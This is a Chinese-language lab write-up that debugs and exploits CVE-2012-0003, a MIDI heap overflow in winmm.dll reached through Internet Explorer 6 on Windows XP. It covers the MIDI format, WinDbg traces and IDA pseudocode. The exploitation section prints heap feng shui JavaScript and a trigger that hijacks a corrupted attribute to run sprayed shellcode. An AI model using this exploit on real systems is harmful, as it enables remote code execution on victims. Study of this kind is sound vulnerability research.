动手实验 CVE-2012-0003 Microsoft Windows Media Player winmm.dll MIDI文件堆溢出(坑多)

本文主要是介绍动手实验 CVE-2012-0003 Microsoft Windows Media Player winmm.dll MIDI文件堆溢出(坑多),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

  • 一、MIDI文件格式
    • 1.header chunk
    • 2.Track Chunks
    • 3.test_case.mid分析
  • 二、漏洞调试
    • 1.漏洞环境
    • 2.触发漏洞
    • 3.ida查看反汇编代码
  • 三、漏洞利用
    • 修改shellcode
  • 四、总结及参考

还是动手实践的堆溢出的调试记录,了解了 堆的调试技巧IE的调试、以及一个很精彩的 漏洞利用方式(堆溢出,只能将一个字节+1的情况下如何利用?应该属于 类型混淆吧)类似这个比较相似的利用原理
https://www.blackhat.com/docs/eu-15/materials/eu-15-Chen-Hey-Man-Have-You-Forgotten-To-Initialize-Your-Memory.pdf

一、MIDI文件格式

MIDI文件由chunk组成,每个chunk由4字节的type(ascii字符如’MThd’)+ 4字节data len + data组成
chunk有两种类型:

  1. header chunk(头块):包含整个MIDI文件的基本信息。type为’MThd’
  2. track chunk(音轨块):包含最多16个MIDI通道数据流,包含MIDI序列、模式、歌曲信息。type为’MTrk’

1.header chunk

header chunk在文件的开头,记录了MIDI文件的基本信息
可以表示为<Header Chunk> = <chunk type><length><format><ntrks><division>

  • chunk type:4字节,固定为’MThd‘
  • lenght:4字节,数据长度,固定为6(00 00 00 06)
  • format:2字节,文件类型
    0表示the file contains a single multi-channel track(单个multi-channe)
    1表示the file contains one or more simultaneous tracks (or MIDI outputs) of a sequence
    2表示the file contains one or more sequentially independent single-track patterns
  • ntrks:音轨数(format为0时固定为1)
  • division:时间计数值,节拍?根据15bit分为两种类型。0为ticks per quarter-note,1为negative SMPTE format

2.Track Chunks

音轨块实际存储歌曲数据,每个块就是一个MIDI数据流可表示为<Track Chunk> = <chunk type><length><MTrk event>+ +号表示可以有多个MTrk event。
MTrk event可以有多个,表示为<MTrk event> = <delta-time><event>
delta-time:间隔时间?如果两个事件同时发生则表示为0。variable Length Quantity类型
event:事件信息可以是下面3种事件中的一种,可表示为<event> = <MIDI event> | <sysex event> | <meta-event>。基本形式都是MIDI Message+Data Bytes+Data。具体的看的信息可以去参考详细event解析

3.test_case.mid分析

拿《漏洞战争》中的样本test_case.mid分析,这里使用了LarryS的分析结果

4D 54 68 64  // MThd 四字节的type信息,表示这是一个header trunk
00 00 00 06  // 四字节length信息,表示该header trunk后面的长度是6字节
00 00        // Format = 0, 表示文件只包含一个multi-channel track
00 01        // num of tracks = 1,和format = 0相对应
00 60        // 对delta-times的解释,第15位为0,所以后面0x60表示ticks per quarter-note,是个音乐概念,不太懂
4D 54 72 6B  // MTrk 四字节的type信息,表示这是一个track trunk
00 00 00 35  // 四字节length信息,表示该track trunk后面的长度是53字节
00           // delta-time, 这块数据采用的是variable length quantity
FF 03 0D 44 72 75 6D 73 20 20 20 28 42 42 29 00 // meta-event,sequence的名字:Drums   (BB)
00 C9 28     // 新的program数值为40
00 B9 07 64  // 音量变化
00 B9 0A 40  // Pan?? 不知道是什么
00 B9 7B 00  // 所有音符结束
00 B9 5B 28  // 效果1深度
00 B9 5D 00  // 效果3深度
85 50 99 23 7F //85 50是delta-time 0x23号音符开始
00 9F B2 73  // 0xB2号音符开始,注意这里B2的最高比特位是1,是不合法的
00 FF 2F 00  // track结束

二、漏洞调试

1.漏洞环境

环境备注
操作系统windows XP sp3中文版
漏洞模块winmm.dll5.1.2600.5512
漏洞环境IExplore6.00.2900.5512

2.触发漏洞

为IE添加hpa保护,方便调试
在这里插入图片描述
将《漏洞战争》中的样本cve-2012-0003-ie6.htm和test_case.mid复制到实验环境中,双击htm再用windbg附加。点击允许阻止的内容,安全警告点击“是”。
在这里插入图片描述
漏洞点在0x76b2d224 mov al,byte ptr[esi]。esi无法访问

0:007> g
(acc.24c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000419 ebx=00000073 ecx=0073b29f edx=00000000 esi=03149019 edi=27cfef60
eip=76b2d224 esp=2821fe80 ebp=2821fea0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b2d224 8a06            mov     al,byte ptr [esi]          ds:0023:03149019=??

查看esi的堆信息,堆起始为0x3148c00,大小为0x400。esi超过堆的界限所以报错

0:010> !heap -p -a esiaddress 03149019 found in_DPH_HEAP_ROOT @ 141000in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)3d847f8:          3148c00              400 -          3148000             2000

查看调用情况(需要在windbg里面设置symbols否则函数识别会出错),确定漏洞出在WINMM.dll中。查看WINMM.dll的信息

0:010> kb
ChildEBP RetAddr  Args to Child              
2821fea0 76b2d2e5 b2e81ad0 76b2d296 00000010 WINMM!midiOutPlayNextPolyEvent+0x1ec
2821feb4 76b154e3 00000010 00000000 00000ea6 WINMM!midiOutTimerTick+0x4f
2821fedc 76b2adfe 76b2d296 00000003 00000010 WINMM!DriverCallback+0x5c
2821ff18 76b2af02 00000010 015c0000 b1cebd08 WINMM!TimerCompletion+0xf4
2821ffb4 7c80b713 00000000 015c0000 015c0000 WINMM!timeThread+0x53
2821ffec 00000000 76b2aeaf 00000000 00000000 kernel32!BaseThreadStart+0x370:010> lm vm WINMM
start    end        module name
76b10000 76b3a000   WINMM      (pdb symbols)          c:\windows\symbols\dll\winmm.pdbLoaded symbol image file: C:\WINDOWS\system32\WINMM.dllImage path: C:\WINDOWS\system32\WINMM.dllImage name: WINMM.dllTimestamp:        Mon Apr 14 10:13:53 2008 (4802BDE1)CheckSum:         0002C65DImageSize:        0002A000File version:     5.1.2600.5512Product version:  5.1.2600.5512File flags:       0 (Mask 3F)File OS:          40004 NT Win32File type:        2.0 DllFile date:        00000000.00000000Translations:     0804.04b0CompanyName:      Microsoft CorporationProductName:      Microsoft(R) Windows(R) Operating SystemInternalName:     winmm.dllOriginalFilename: WINMM.DLLProductVersion:   5.1.2600.5512FileVersion:      5.1.2600.5512 (xpsp.080413-0845)FileDescription:  MCI API DLLLegalCopyright:   (C) Microsoft Corporation. All rights reserved.

3.ida查看反汇编代码

在midiOutPlayNextPolyEvent函数中将影响最终访问的代码列出来

v2 = *(WPARAM **)(wParam + 60);
v2[9] += 4;
v7 = v2[9];
v7 += 4;v8 = *(_DWORD *)(v7 + wParama)
v10 = v8&0xffffff
v17 = v10
if ( (v10 & 0x80u) != 0 )
{wParam_3a = BYTE1(v10);
}
else
{v17 = *(_BYTE *)(wParam + 84);wParam_3a = v10;
}
v16 = *(_DWORD *)(wParam + 0x84);
if ( (v17 & 0xF0) == 0x90 || (v17 & 0xF0) == 0x80 )
{v19 = (wParam_3a + ((v17 & 0xF) << 7)) / 2;...v20 = (char *)(v19 + v16);v21 = *v20;                               // 漏洞产生点
}

按照导图推算的方法给所有关键的变量设置断点记录每次运行时的变化

//关键的赋值
76B2D041 mov     edi, [ebp+wParam]	; wParam edi
76B2D050 mov     esi, [edi+3Ch]		;v2 esi
76B2D09D add     ebx, 4				;v7 ebx
76B2D0B5 mov     ecx, [ebx+eax]		;v8 ecx
76B2D0C3 and     ecx, 0FFFFFFh		;v10 ecx
76B2D1C7 mov     al, cl				;v17 al
76B2D1EB mov     byte ptr [ebp+wParam+3], dl;wParam+3 dl
76B2D1D0 mov     byte ptr [ebp+wParam+3], cl;wParam+3 cl
76B2D1CD mov     al, [edi+54h]		;v17 al
76B2D212 sar     eax, 1				;v19 eax
76B2D21E add     esi, eax			;v20 esi
76B2D224 mov     al, [esi]       ; 漏洞点
//给设置断点并记录信息
bu 76B2D044 ".echo 'wParam';r edi;g;"
bu 76B2D053 ".echo 'v2';r esi;g;"
bu 76B2D0A0 ".echo 'v7';r ebx;g;"
bu 76B2D0B8 ".echo 'v8';r ecx;g;"
bu 76B2D0C9 ".echo 'v10';r ecx;g;"
bu 76B2D1C9 ".echo 'v17';r al;g;"  
bu 76B2D1D0 ".echo 'v17';r al;.echo 'wParam_3a';r cl;g;"
bu 76B2D1EB ".echo 'wParam_3a';r dl;g;"
bu 76B2D214 ".echo 'v19';r eax;g;"
bu 76B2D220 ".echo 'v16';r esi;g;"
bu 76B2D224 ".echo 'v20';r esi;g;"

两次运行之后得到如下信息,对比test_case.mid可知

  1. v2没有改变

  2. v7每次增长0xC

  3. v8和v10相同

  4. 最关键的是v17对应的是MIDI文件的事件码,wParam_3a对应事件码后面的参数信息

  5. 第二次运行时,v16明显是基址,v19为偏移
    在这里插入图片描述
    在这里插入图片描述
    偏移的计算(v19)过程
    偏移过大的产生:0x419 = (0xB2+0xF<<7)/2
    在这里插入图片描述
    在这里插入图片描述
    基址的计算(v16)
    v16 = *(_DWORD *)(wParam + 0x84)。wParam为函数调用时传入的参数。交叉引用可以知道midiOutTimerTick调用了midiOutPlayNextPolyEvent
    所以wParam= *(_DWORD *)(gpEmuList+0x84)
    在这里插入图片描述
    继续查看gpEmuList的交叉引用
    所以最终wParam=winmmAlloc(0x400),这也是为什么堆的大小是0x400
    在这里插入图片描述
    漏洞可以做什么?
    能对目标进行加1操作,条件为[(wParam_3a&1) == 0 &&( v22&0xF)≠0xF]

  6. 一次溢出读一字节

  7. 对溢出读的内容加1

  8. 对溢出点写回
    在这里插入图片描述

三、漏洞利用

漏洞能够对某个地址的值+1。下面是部分利用代码

  1. 创建了select对象selob
  2. 为selob分配了64个属性,其中w1为string对象,其他为object对象
  3. 创建一个大小为1000的数组clones,并调用selob.clone进行复制
  4. 间隔释放clones数组中的元素,目的是创造很多0x400的空闲堆,使MIDI能够申请到。
var selob = document.createElement("select")
selob.w0 = alert
selob.w1 = unescape("%u1be4%u0c0c")
selob.w2 = alert
selob.w3 = alert
selob.w4 = alert
selob.w5 = alert
selob.w6 = alert
selob.w7 = alert
selob.w8 = alert
selob.w9 = alert
selob.w10 = alert
selob.w11 = alert
selob.w12 = alert
selob.w13 = alert
selob.w14 = alert
selob.w15 = alert
selob.w16 = alert
selob.w17 = alert
selob.w18 = alert
selob.w19 = alert
selob.w20 = alert
selob.w21 = alert
selob.w22 = alert
selob.w23 = alert
selob.w24 = alert
selob.w25 = alert
selob.w26 = alert
selob.w27 = alert
selob.w28 = alert
selob.w29 = alert
selob.w30 = alert
selob.w31 = alert
selob.w32 = alert
selob.w33 = alert
selob.w34 = alert
selob.w35 = alert
selob.w36 = alert
selob.w37 = alert
selob.w38 = alert
selob.w39 = alert
selob.w40 = alert
selob.w41 = alert
selob.w42 = alert
selob.w43 = alert
selob.w44 = alert
selob.w45 = alert
selob.w46 = alert
selob.w47 = alert
selob.w48 = alert
selob.w49 = alert
selob.w50 = alert
selob.w51 = alert
selob.w52 = alert
selob.w53 = alert
selob.w54 = alert
selob.w55 = alert
selob.w56 = alert
selob.w57 = alert
selob.w58 = alert
selob.w59 = alert
selob.w60 = alert
selob.w61 = alert
selob.w62 = alert
selob.w63 = alertvar clones=new Array(1000);function feng_shui() {var i = 0;while (i < 1000) {clones[i] = selob.cloneNode(true)i = i + 1;}var j = 0;while (j < 1000) {delete clones[j];CollectGarbage();j  = j + 2;}}feng_shui();

查看mshtml.dll(处理ie中html解析模块)中用于处理元素复制的函数CElement::Clone,CElement::Clone会调用CAttrArray::Clone

  1. 创建CAttrArray结构体
  2. EnsureSize调整大小为0x10*0x40(属性数量)=0x400。(出现了和LarryS师傅一样的问题,这里是0x42)
  3. 从不是0x3开头的元素开始复制(b1==3应该都是header类型)
  4. 最后会为元素数组添加header
//这是自己猜测的CAttrArray结构体,主要关注前两个字段
struct CAttrArray{DWORD nSize;//元素数组大小struct CAttrValue* ptrAttrArray;//指向AttrArray元素数组DWORD unkonw;//这次漏洞没有用到不做分析
}
//只保留了最关键的代码
int __thiscall CAttrArray::Clone(CAttrArray *this, struct CAttrArray **a2)
{v3 = (CAttrArray *)_MemAlloc(0xCu);v4 = CAttrArray::CAttrArray(v3);            // 创建CAttrArray结构体v17 = CImplAry::EnsureSize(v4, 0x10u, *(_DWORD *)this >> 2);// 根据传入的CAttrArray计算大小v9 = *((_DWORD *)this + 1);//CAttrArray保存元素属性的地址	while(1){if ( *(_BYTE *)v9 != 3 || v19 )           // 从开头不是0x03的元素(即b1!=3)才能复制{v17 = CAttrValue::Copy((CAttrValue *)v8, (const struct CAttrValue *)v9);// 循环复制}}v21 = (struct CAttrArray **)CAttrArray::EnsureHeader(*a2, 1);// 为元素数组添加Header(0x10大小)
}

在这里插入图片描述
在EnsureSizey函数下断点查看申请的堆大小应该是0x10*0x42=0x420。ecx中保存了CAttrArray结构体,查看可知最后分配了0x480大小的堆。这和我们的目标0x400不一致。

0:007> g
Breakpoint 0 hit
eax=0176c370 ebx=0176c28c ecx=0176c370 edx=00000042 esi=017698b0 edi=00000000
eip=7e38e7ff esp=0012de68 ebp=0012de90 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
mshtml!CAttrArray::Clone+0x5a:
7e38e7ff e8acb8eeff      call    mshtml!CImplAry::EnsureSize (7e27a0b0)
0:000> dd esp L3
0012de68  00000010 00000042 00000000
0:000> p
eax=00000000 ebx=0176c28c ecx=7c9301bb edx=00140608 esi=017698b0 edi=00000000
eip=7e38e804 esp=0012de70 ebp=0012de90 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CAttrArray::Clone+0x5f:
7e38e804 85c0            test    eax,eax
0:000> dd 0176c370  
0176c370  00000000 001d5778 00000000 00000000
0176c380  00000000 00000000 00000000 00000000
0176c390  00000000 00000000 00000000 00000000
0176c3a0  00000000 00000000 00000000 00000000
0176c3b0  00000000 00000000 00000000 00000000
0176c3c0  00000000 00000000 00000000 00000000
0176c3d0  00000000 00000000 00000000 00000000
0176c3e0  00000000 00000000 00000000 00000000
0:000> !heap -p -a 001d5778 address 001d5778 found in_HEAP @ 140000HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state001d5770 0091 0000  [01]   001d5778    00480 - (busy)

先假设exp没问题,继续看如何触发执行
3. 当漏洞触发时,midi能够申请到clones其中一个被释放的堆快,并且会将0x08修改为0x09
4. 判断w1的属性是否不是string(即是否被修改),成功修改则去执行。会调用CAttrValue::GetIntoVariant
5. 因为已经将类型修改为0x09最后会去0x0c0c0c0c执行shellcode。

function trigger(){var k = 999;while (k > 0) {if (typeof(clones[k].w1) == "string") {} else {clones[k].w1('come on!');}k = k - 2;}feng_shui();document.audio.Play();}

在这里插入图片描述

这里有两个问题

  1. 为什么一开始给的属性个数是0x42?
  2. 为什么CImplAry::EnsureSize之后大小是0x480而不是0x42?

先解决第2个问题,具体看一下EnsureSize代码。EnsureSize会对给的属性个数进行对齐,0x42对齐之后变成了0x48,所以最后堆大小为0x480。

int __thiscall CImplAry::EnsureSize(CImplAry *this, SIZE_T dwBytes, unsigned int a3)
{v3 = a3;//v3 a3表示属性个数0x42v5 = dwBytes;//后面dwBytes是临时变量存放计算的结果a3 = UIntAdd(v3, 7u, &dwBytes);//0x42+7=0x49v6 = v3 >= 8 ? dwBytes & 0xFFFFFFF8 : v3;//结合上面的+7,就是为了向上和8对齐,0x49变成0x48a3 = UIntMult(v6, v5, &dwBytes);//0x48*0x10=0x480得到真正大小v13 = (void *)_MemAlloc(dwBytes);//开辟0x480的内容
}

再解决第1个问题,在CAttrArray::Clone函数开头下断点查看用于复制的内容,根据前面猜测AttrArray结构体可知nszie为0x108(0x108>>2等于0x42),02330d78中保存了CAttrValue数组,除了前两行(第一行应该是header,第二行没找到出处),后面和我们在js中设置的符合。
这里猜测,在设置select属性之前,select的父类设置了1个基本属性并且在数组开头设置了header,导致我们设置了64个属性后占了66个属性的空间,再加上EnsureSize的对齐操作最后导致申请了0x480的堆

0:000> bp 7E38E7A5
0:000> g
(1f8.894): Break instruction exception - code 80000003 (first chance)
eax=7ffdd000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005
eip=7c92120e esp=01f6ffcc ebp=01f6fff4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000246
ntdll!DbgBreakPoint:
7c92120e cc              int     3
0:007> g
Breakpoint 0 hit
eax=0176c28c ebx=00000058 ecx=01769530 edx=0012dea8 esi=01769e80 edi=00000000
eip=7e38e7a5 esp=0012de94 ebp=0012df28 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CAttrArray::Clone:
7e38e7a5 8bff            mov     edi,edi
//查看AttrArray结构体
0:000> dd ecx
01769530  00000108 02330d78 16e37040 00000000
01769540  00000902 002dc6c1 00000000 01769f70
01769550  00000004 00310077 00000000 00000000
01769560  00000902 002dc6c1 00000000 01769f70
01769570  00000802 002dc6c2 00000000 001b000c
01769580  7e4b6188 00000002 7e2234ac 01769fa0
01769590  7e26da30 00000000 00000000 00000000
017695a0  00000004 00000000 00000000 00000000
//查看数组内容
0:000> db 02330d78
02330d78  03 81 00 00 00 00 00 80-00 00 00 00 40 c2 76 01  ............@.v.
02330d88  03 0d 00 00 f5 13 01 80-00 00 00 00 78 bf 39 00  ............x.9.
02330d98  02 09 00 00 c1 c6 2d 00-00 00 00 00 70 9f 76 01  ......-.....p.v.
02330da8  02 08 00 00 c2 c6 2d 00-00 00 00 00 0c 00 1b 00  ......-.........
02330db8  02 09 00 00 c3 c6 2d 00-00 00 00 00 80 95 76 01  ......-.......v.
02330dc8  02 09 00 00 c4 c6 2d 00-00 00 00 00 f0 95 76 01  ......-.......v.
02330dd8  02 09 00 00 c5 c6 2d 00-00 00 00 00 70 96 76 01  ......-.....p.v.
02330de8  02 09 00 00 c6 c6 2d 00-00 00 00 00 00 97 76 01  ......-.......v.
//计算元素个数
0:000> ?108>>2
Evaluate expression: 66 = 00000042
//查看堆信息
0:000> !heap -p -a 02330d78address 02330d78 found in_HEAP @ 140000HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state02330d70 0091 0000  [01]   02330d78    00480 - (busy)

在CAttrArray::Clone中的MemAlloc之后下断点,查看eax得到CAttrArray对象,再在CAttrArray::Clone返回之前下断点查看复制完成后的CAttrArray对象。结合前面的CAttrArray::Clone代码,可知在复制的时候只会将b1=0x02的属性进行复制,最后在EnsureHeader添加Header

0:000> bp 7E38E7BD
0:000> bp 7E38E7EB
0:000> g
(6dc.454): Break instruction exception - code 80000003 (first chance)
eax=7ffde000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005
eip=7c92120e esp=01f6ffcc ebp=01f6fff4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000246
ntdll!DbgBreakPoint:
7c92120e cc              int     3
0:007> g
Breakpoint 0 hit
eax=0176c370 ebx=00000058 ecx=0000c000 edx=7e4b5de0 esi=01769530 edi=00000000
eip=7e38e7bd esp=0012de70 ebp=0012de90 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
mshtml!CAttrArray::Clone+0x18:
7e38e7bd 85c0            test    eax,eax
0:000> dd eax
0176c370  00000000 00000000 00000000 00000000
0176c380  00000000 00000000 00000000 00000000
0176c390  00000000 00000000 00000000 00000000
0176c3a0  00000000 00000000 00000000 00000000
0176c3b0  00000000 00000000 00000000 00000000
0176c3c0  00000000 00000000 00000000 00000000
0176c3d0  00000000 00000000 00000000 00000000
0176c3e0  00000000 00000000 00000000 00000000
0:000> g
Breakpoint 1 hit
eax=001d5778 ebx=0176c28c ecx=00000104 edx=00000000 esi=00000000 edi=02231198
eip=7e38e7eb esp=0012de70 ebp=0012de90 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CAttrArray::Clone+0x46:
7e38e7eb 8b45f4          mov     eax,dword ptr [ebp-0Ch] ss:0023:0012de84=00000000
0:000> dd 0176c370  
0176c370  00000104 001d5778 16e37040 00000000
0176c380  ffffffff 00000000 00000000 00000000
0176c390  00000000 00000000 00000000 00000000
0176c3a0  00000000 00000000 00000000 00000000
0176c3b0  00000000 00000000 00000000 00000000
0176c3c0  00000000 00000000 00000000 00000000
0176c3d0  00000000 00000000 00000000 00000000
0176c3e0  00000000 00000000 00000000 00000000
0:000> db 001d5778 
001d5778  03 81 00 00 00 00 00 80-00 00 00 00 80 c3 76 01  ..............v.
001d5788  02 09 00 00 c1 c6 2d 00-00 00 00 00 70 9f 76 01  ......-.....p.v.
001d5798  02 08 00 00 c2 c6 2d 00-00 00 00 00 bc af 1a 00  ......-.........
001d57a8  02 09 00 00 c3 c6 2d 00-00 00 00 00 80 95 76 01  ......-.......v.
001d57b8  02 09 00 00 c4 c6 2d 00-00 00 00 00 f0 95 76 01  ......-.......v.
001d57c8  02 09 00 00 c5 c6 2d 00-00 00 00 00 70 96 76 01  ......-.....p.v.
001d57d8  02 09 00 00 c6 c6 2d 00-00 00 00 00 00 97 76 01  ......-.......v.
001d57e8  02 09 00 00 c7 c6 2d 00-00 00 00 00 c0 9a 76 01  ......-.......v.

修改shellcode

根据前面EnsureSize的规则和EnsureHeader的了解,我们需要将原来的w0去除(因为多了一个header),使w1还是在原来的偏移处,还需要去掉最后一个w63,使clone时申请0x400大小。为了测试把堆喷的shellcode改成calc.exe。
在这里插入图片描述

四、总结及参考

最大的坑在设置属性的个数上。其他的触发和书上一样。
最后感谢LarryS的文章,基本都是照着看。本来想探索一下属性设置的过程(实力有限呀)

参考
《漏洞战争》
CVE-2012-0003 winmm.dll MIDI文件堆溢出漏洞分析及利用

Standard MIDI-File Format Spec. 1.1, updated

https://www.blackhat.com/docs/eu-15/materials/eu-15-Chen-Hey-Man-Have-You-Forgotten-To-Initialize-Your-Memory.pdf

这篇关于动手实验 CVE-2012-0003 Microsoft Windows Media Player winmm.dll MIDI文件堆溢出(坑多)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/169325

相关文章

javafx 如何将项目打包为 Windows 的可执行文件exe

《javafx如何将项目打包为Windows的可执行文件exe》文章介绍了三种将JavaFX项目打包为.exe文件的方法:方法1使用jpackage(适用于JDK14及以上版本),方法2使用La... 目录方法 1:使用 jpackage(适用于 JDK 14 及更高版本)方法 2:使用 Launch4j(

windows端python版本管理工具pyenv-win安装使用

《windows端python版本管理工具pyenv-win安装使用》:本文主要介绍如何通过git方式下载和配置pyenv-win,包括下载、克隆仓库、配置环境变量等步骤,同时还详细介绍了如何使用... 目录pyenv-win 下载配置环境变量使用 pyenv-win 管理 python 版本一、安装 和

Python使用pysmb库访问Windows共享文件夹的详细教程

《Python使用pysmb库访问Windows共享文件夹的详细教程》本教程旨在帮助您使用pysmb库,通过SMB(ServerMessageBlock)协议,轻松连接到Windows共享文件夹,并列... 目录前置条件步骤一:导入必要的模块步骤二:配置连接参数步骤三:实例化SMB连接对象并尝试连接步骤四:

在 Windows 上部署 gitblit

在 Windows 上部署 gitblit 在 Windows 上部署 gitblit 缘起gitblit 是什么安装JDK部署 gitblit 下载 gitblit 并解压配置登录注册为 windows 服务 修改 installService.cmd 文件运行 installService.cmd运行 gitblitw.exe查看 services.msc 缘起

Windows如何添加右键新建菜单

Windows如何添加右键新建菜单 文章目录 Windows如何添加右键新建菜单实验环境缘起以新建`.md`文件为例第一步第二步第三步 总结 实验环境 Windows7 缘起 因为我习惯用 Markdown 格式写文本,每次新建一个.txt后都要手动修改为.md,真的麻烦。如何在右键新建菜单中添加.md选项呢? 网上有很多方法,这些方法我都尝试了,要么太麻烦,要么不凑效

STM32(十一):ADC数模转换器实验

AD单通道: 1.RCC开启GPIO和ADC时钟。配置ADCCLK分频器。 2.配置GPIO,把GPIO配置成模拟输入的模式。 3.配置多路开关,把左面通道接入到右面规则组列表里。 4.配置ADC转换器, 包括AD转换器和AD数据寄存器。单次转换,连续转换;扫描、非扫描;有几个通道,触发源是什么,数据对齐是左对齐还是右对齐。 5.ADC_CMD 开启ADC。 void RCC_AD

【LabVIEW学习篇 - 21】:DLL与API的调用

文章目录 DLL与API调用DLLAPIDLL的调用 DLL与API调用 LabVIEW虽然已经足够强大,但不同的语言在不同领域都有着自己的优势,为了强强联合,LabVIEW提供了强大的外部程序接口能力,包括DLL、CIN(C语言接口)、ActiveX、.NET、MATLAB等等。通过DLL可以使用户很方便地调用C、C++、C#、VB等编程语言写的程序以及windows自带的大

动手学深度学习【数据操作+数据预处理】

import osos.makedirs(os.path.join('.', 'data'), exist_ok=True)data_file = os.path.join('.', 'data', 'house_tiny.csv')with open(data_file, 'w') as f:f.write('NumRooms,Alley,Price\n') # 列名f.write('NA

Windows下Nginx的安装及开机启动

1、将nginx-1.16.1.zip解压拷贝至D:\web\nginx目录下。 2、启动Nginx,两种方法: (1)直接双击nginx.exe,双击后一个黑色的弹窗一闪而过。 (2)打开cmd命令窗口,切换到nginx目录下,输入命令 nginx.exe 或者 start nginx ,回车即可。 3、检查nginx是否启动成功。 直接在浏览器地址栏输入网址 http://lo

Windows环境利用VS2022编译 libvpx 源码教程

libvpx libvpx 是一个开源的视频编码库,由 WebM 项目开发和维护,专门用于 VP8 和 VP9 视频编码格式的编解码处理。它支持高质量的视频压缩,广泛应用于视频会议、在线教育、视频直播服务等多种场景中。libvpx 的特点包括跨平台兼容性、硬件加速支持以及灵活的接口设计,使其可以轻松集成到各种应用程序中。 libvpx 的安装和配置过程相对简单,用户可以从官方网站下载源代码